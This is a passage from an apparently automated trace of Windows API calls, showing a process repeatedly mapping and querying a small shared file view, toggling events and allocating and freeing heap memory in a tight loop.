dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.363] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.363] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.363] ResetEvent (hEvent=0xe8) returned 1 [0149.363] SetEvent (hEvent=0xec) returned 1 [0149.363] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.363] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.363] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.363] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.363] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.363] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.363] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.363] ResetEvent (hEvent=0xe8) returned 1 [0149.363] SetEvent (hEvent=0xec) returned 1 [0149.363] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.363] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.363] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.363] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.363] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.363] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.363] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.363] ResetEvent (hEvent=0xe8) returned 1 [0149.363] SetEvent (hEvent=0xec) returned 1 [0149.364] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.364] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.364] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.364] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.364] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.364] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.364] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.364] ResetEvent (hEvent=0xe8) returned 1 [0149.364] SetEvent (hEvent=0xec) returned 1 [0149.364] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.364] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.364] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.364] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.364] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.364] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.364] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.364] ResetEvent (hEvent=0xe8) returned 1 [0149.364] SetEvent (hEvent=0xec) returned 1 [0149.364] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.365] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.365] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.365] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.365] ResetEvent (hEvent=0xe8) returned 1 [0149.365] SetEvent (hEvent=0xec) returned 1 [0149.365] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.365] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.365] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.365] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.365] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.365] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.365] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.365] ResetEvent (hEvent=0xe8) returned 1 [0149.365] SetEvent (hEvent=0xec) returned 1 [0149.365] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.365] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.365] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.365] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.365] ResetEvent (hEvent=0xe8) returned 1 [0149.365] SetEvent (hEvent=0xec) returned 1 [0149.366] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.366] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.366] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.366] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.366] ResetEvent (hEvent=0xe8) returned 1 [0149.366] SetEvent (hEvent=0xec) returned 1 [0149.366] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.366] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.366] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.366] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.366] ResetEvent (hEvent=0xe8) returned 1 [0149.366] SetEvent (hEvent=0xec) returned 1 [0149.366] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.366] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.366] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.366] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.366] ResetEvent (hEvent=0xe8) returned 1 [0149.366] SetEvent (hEvent=0xec) returned 1 [0149.367] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.367] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.367] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.367] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.367] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.367] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.367] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.367] ResetEvent (hEvent=0xe8) returned 1 [0149.367] SetEvent (hEvent=0xec) returned 1 [0149.367] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.367] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.367] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.367] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.367] ResetEvent (hEvent=0xe8) returned 1 [0149.367] SetEvent (hEvent=0xec) returned 1 [0149.367] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.367] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.367] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.367] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.367] ResetEvent (hEvent=0xe8) returned 1 [0149.367] SetEvent (hEvent=0xec) returned 1 [0149.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.368] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.368] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.368] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.368] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.368] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.368] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.368] ResetEvent (hEvent=0xe8) returned 1 [0149.368] SetEvent (hEvent=0xec) returned 1 [0149.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.368] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.368] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.368] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.368] ResetEvent (hEvent=0xe8) returned 1 [0149.368] SetEvent (hEvent=0xec) returned 1 [0149.368] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.368] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.368] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.368] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.368] ResetEvent (hEvent=0xe8) returned 1 [0149.368] SetEvent (hEvent=0xec) returned 1 [0149.369] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.369] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.369] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.369] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.369] ResetEvent (hEvent=0xe8) returned 1 [0149.369] SetEvent (hEvent=0xec) returned 1 [0149.369] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.369] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.369] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.369] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.369] ResetEvent (hEvent=0xe8) returned 1 [0149.369] SetEvent (hEvent=0xec) returned 1 [0149.369] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.369] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.369] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.369] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.369] ResetEvent (hEvent=0xe8) returned 1 [0149.369] SetEvent (hEvent=0xec) returned 1 [0149.369] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.369] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.370] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.370] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.370] ResetEvent (hEvent=0xe8) returned 1 [0149.370] SetEvent (hEvent=0xec) returned 1 [0149.370] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.370] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.370] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.370] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.370] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.370] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.370] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.370] ResetEvent (hEvent=0xe8) returned 1 [0149.370] SetEvent (hEvent=0xec) returned 1 [0149.372] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.372] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.372] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.373] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.373] ResetEvent (hEvent=0xe8) returned 1 [0149.373] SetEvent (hEvent=0xec) returned 1 [0149.373] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.373] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.373] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.373] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.373] ResetEvent (hEvent=0xe8) returned 1 [0149.373] SetEvent (hEvent=0xec) returned 1 [0149.373] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.373] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.373] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.373] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.373] ResetEvent (hEvent=0xe8) returned 1 [0149.373] SetEvent (hEvent=0xec) returned 1 [0149.373] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.373] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.373] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.373] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.373] ResetEvent (hEvent=0xe8) returned 1 [0149.374] SetEvent (hEvent=0xec) returned 1 [0149.374] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.374] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.374] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.374] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.374] ResetEvent (hEvent=0xe8) returned 1 [0149.374] SetEvent (hEvent=0xec) returned 1 [0149.374] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.374] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.374] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.374] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.374] ResetEvent (hEvent=0xe8) returned 1 [0149.374] SetEvent (hEvent=0xec) returned 1 [0149.374] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.374] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.374] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.374] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.374] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.374] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.374] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.374] ResetEvent (hEvent=0xe8) returned 1 [0149.375] SetEvent (hEvent=0xec) returned 1 [0149.375] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.375] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.375] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.375] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.375] MapViewOfFile (hFileMappingObject=0x1a8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0149.375] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0149.375] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0149.375] ResetEvent (hEvent=0xe8) returned 1 [0149.375] SetEvent (hEvent=0xec) returned 1 [0149.375] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.375] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.375] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.375] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.375] ResetEvent (hEvent=0xe8) returned 1 [0149.375] SetEvent (hEvent=0xec) returned 1 [0149.375] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.375] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.375] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.375] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.376] ResetEvent (hEvent=0xe8) returned 1 [0149.376] SetEvent (hEvent=0xec) returned 1 [0149.376] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.376] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.376] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.376] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.376] ResetEvent (hEvent=0xe8) returned 1 [0149.376] SetEvent (hEvent=0xec) returned 1 [0149.376] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.376] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.376] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.376] NtQueryObject (in: Handle=0x1a8, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.376] ResetEvent 